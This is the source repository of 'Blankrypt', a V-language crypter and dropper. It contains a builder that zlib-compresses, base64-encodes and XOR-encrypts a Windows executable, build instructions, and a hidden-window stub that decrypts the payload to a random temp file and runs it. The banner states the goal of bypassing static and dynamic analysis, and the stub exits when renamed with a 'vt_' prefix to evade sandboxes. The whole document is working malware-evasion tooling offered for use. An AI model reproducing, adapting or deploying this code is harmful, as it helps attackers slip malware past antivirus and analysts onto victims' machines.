├── Blankrypt ├── Builder │ ├── main.v │ └── stubdata.v ├── Building.txt └── Stub │ └── main.v ├── LICENSE └── README.md /Blankrypt/Builder/main.v: -------------------------------------------------------------------------------- 1 | module main 2 | 3 | import os 4 | import term 5 | import encoding.base64 6 | import compress.zlib 7 | 8 | import stubdata 9 | 10 | const secretkey = "Qmxhbms=" 11 | const beginflag = "Z2l0aHViLmNvbS9CbGFuay1j" 12 | const endflag = "QkxhTmtJc1RoRWJFc1Q=" 13 | 14 | fn xorcrypt(data []u8) []u8 { 15 | key := base64.decode_str(secretkey) 16 | mut newdata := []u8{} 17 | for i, val in data{ 18 | newdata << val ^ u8(key[i % key.len]) 19 | } 20 | return newdata 21 | } 22 | 23 | fn main() { 24 | println(term.colorize(term.cyan, 25 | " 26 | ▀█████████▄ ▄█ ▄████████ ███▄▄▄▄ ▄█ ▄█▄ ▄████████ ▄██ ▄ ▄███████▄ ███ 27 | ███ ███ ███ ███ ███ ███▀▀▀██▄ ███ ▄███▀ ███ ███ ███ ██▄ ███ ███ ▀█████████▄ 28 | ███ ███ ███ ███ ███ ███ ███ ███▐██▀ ███ ███ ███▄▄▄███ ███ ███ ▀███▀▀██ 29 | ▄███▄▄▄██▀ ███ ███ ███ ███ ███ ▄█████▀ ▄███▄▄▄▄██▀ ▀▀▀▀▀▀███ ███ ███ ███ ▀ 30 | ▀▀███▀▀▀██▄ ███ ▀███████████ ███ ███ ▀▀█████▄ ▀▀███▀▀▀▀▀ ▄██ ███ ▀█████████▀ ███ 31 | ███ ██▄ ███ ███ ███ ███ ███ ███▐██▄ ▀███████████ ███ ███ ███ ███ 32 | ███ ███ ███▌ ▄ ███ ███ ███ ███ ███ ▀███▄ ███ ███ ███ ███ ███ ███ 33 | ▄█████████▀ █████▄▄██ ███ █▀ ▀█ █▀ ███ ▀█▀ ███ ███ ▀█████▀ ▄████▀ ▄████▀ 34 | ▀ ▀ ███ ███ 35 | " 36 | )) 37 | println(term.colorize(term.bright_green, "A crypter/dropper to bypass static and dynamic analysis of your program.")) 38 | println(term.colorize(term.bright_green, "Made by ") + term.colorize(term.cyan, "github.com/Blank-c")) 39 | println(term.colorize(term.bright_green, "Protection: ") + term.colorize(term.cyan, "3 layers\n")) 40 | 41 | if os.args.len != 2{ 42 | println(term.colorize(term.yellow, "[USAGE]")) 43 | println(term.colorize(term.blue, "\t\"${os.base(os.executable())}\" program.exe")) 44 | exit(1) 45 | } 46 | if !(os.base(os.args[1]).ends_with(".exe")) { 47 | println(term.colorize(term.red, "[ERR]")) 48 | println(term.colorize(term.blue, "\t\"${os.base(os.args[1])}\" does not have .exe extention")) 49 | exit(1) 50 | } else if !(os.is_file(os.args[1])) { 51 | println(term.colorize(term.red, "[ERR]")) 52 | println(term.colorize(term.blue, "\t\"${os.base(os.args[1])}\" does not exist")) 53 | exit(1) 54 | } 55 | filedata := os.read_file(os.args[1]) or { 56 | println(term.colorize(term.red, "[ERR]")) 57 | println(term.colorize(term.blue, "\tUnable to read file")) 58 | exit(1) 59 | } 60 | if filedata.len < 97 { 61 | println(term.colorize(term.red, "[ERR]")) 62 | println(term.colorize(term.blue, "\t\"${os.base(os.args[1])}\" is not a valid executable file")) 63 | exit(1) 64 | } else if !(filedata.starts_with("MZ")) { 65 | println(term.colorize(term.red, "[ERR]")) 66 | println(term.colorize(term.blue, "\t\"${os.base(os.args[1])}\" is not a valid executable file")) 67 | exit(1) 68 | } 69 | 70 | mut data := filedata.bytes() 71 | mut finaldata := stubdata.getdata() 72 | 73 | data = zlib.compress(data) or { 74 | println(term.colorize(term.red, "[ERR]")) 75 | println(term.colorize(term.blue, "\tAn error occured")) 76 | exit(1) 77 | } 78 | data = base64.encode(data).bytes() 79 | data = xorcrypt(data) 80 | 81 | finaldata << base64.decode(beginflag) 82 | finaldata << data 83 | finaldata << base64.decode(endflag) 84 | 85 | mut filename := "Crypted_${os.args[1]}" 86 | mut file := os.create(filename) or { 87 | println(term.colorize(term.red, "[ERR]")) 88 | println(term.colorize(term.blue, "\tUnable to create file")) 89 | exit(1) 90 | } 91 | defer { 92 | file.close() 93 | } 94 | file.write(finaldata) or { 95 | println(term.colorize(term.red, "[ERR]")) 96 | println(term.colorize(term.blue, "\tUnable to write data")) 97 | exit(1) 98 | } 99 | 100 | println(term.colorize(term.green, "[Success]")) 101 | println(term.colorize(term.blue, "\tSuccessfully saved as \"$filename\"")) 102 | println(term.colorize(term.blue, "\tPut \"") + term.colorize(term.yellow, "vt_") + term.colorize(term.blue, "\" before your file's name to avoid running it. This can help to bypass dynamic analysis.")) 103 | exit(0) 104 | } -------------------------------------------------------------------------------- /Blankrypt/Building.txt: -------------------------------------------------------------------------------- 1 | Prerequisites: 2 | - V compiler 3 | - Hex editor (e.g. HxD) 4 | 5 | Instructions for building: 6 | 1) Go to stub folder and run the command "v -prod ." 7 | 2) Use hex editor like HxD to open the generated file and export it as a C file. 8 | 3) Copy the array's content and compress it with zlib > encode the result with base64 > xorcrypt the result with the secret key (in files) and finally put it between the base64 decoded flags (beginflag and endflag). 9 | 4) Replace the resulting array with the one in Builder/stubdata.v 10 | 5) Run "v -prod ." in the Builder folder. 11 | -------------------------------------------------------------------------------- /Blankrypt/Stub/main.v: -------------------------------------------------------------------------------- 1 | module main 2 | 3 | import os 4 | import rand 5 | import encoding.base64 6 | import compress.zlib 7 | 8 | #flag -mwindows 9 | 10 | const secretkey = "Qmxhbms=" 11 | const beginflag = "Z2l0aHViLmNvbS9CbGFuay1j" 12 | const endflag = "QkxhTmtJc1RoRWJFc1Q=" 13 | 14 | fn xorcrypt(data []u8) []u8 { 15 | key := base64.decode_str(secretkey) 16 | mut newdata := []u8{} 17 | for i, val in data{ 18 | newdata << val ^ u8(key[i % key.len]) 19 | } 20 | return newdata 21 | } 22 | 23 | fn decompress() ![]u8{ 24 | basedata := os.read_file(os.executable())! 25 | secretkeyo := base64.decode_str(beginflag) 26 | secretkeye := base64.decode_str(endflag) 27 | mut data := []u8{} 28 | 29 | if !(basedata.contains(secretkeyo)) || !(basedata.contains(secretkeye)){ 30 | exit(1) 31 | } 32 | data = xorcrypt(basedata.find_between(secretkeyo, secretkeye).bytes()) 33 | data = base64.decode(data.bytestr()) 34 | data = zlib.decompress(data)! 35 | return data 36 | } 37 | 38 | fn main() { 39 | if os.base(os.executable()).starts_with("vt_"){ 40 | exit(0) 41 | } 42 | 43 | mut fp := os.join_path(os.temp_dir(), "${rand.hex(5)}.exe") 44 | data := decompress()! 45 | 46 | mut file := os.create(fp) or {exit(1)} 47 | file.write(data) or {exit(1)} 48 | file.close() 49 | os.execvp(fp, os.args[1..])! 50 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Blank 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |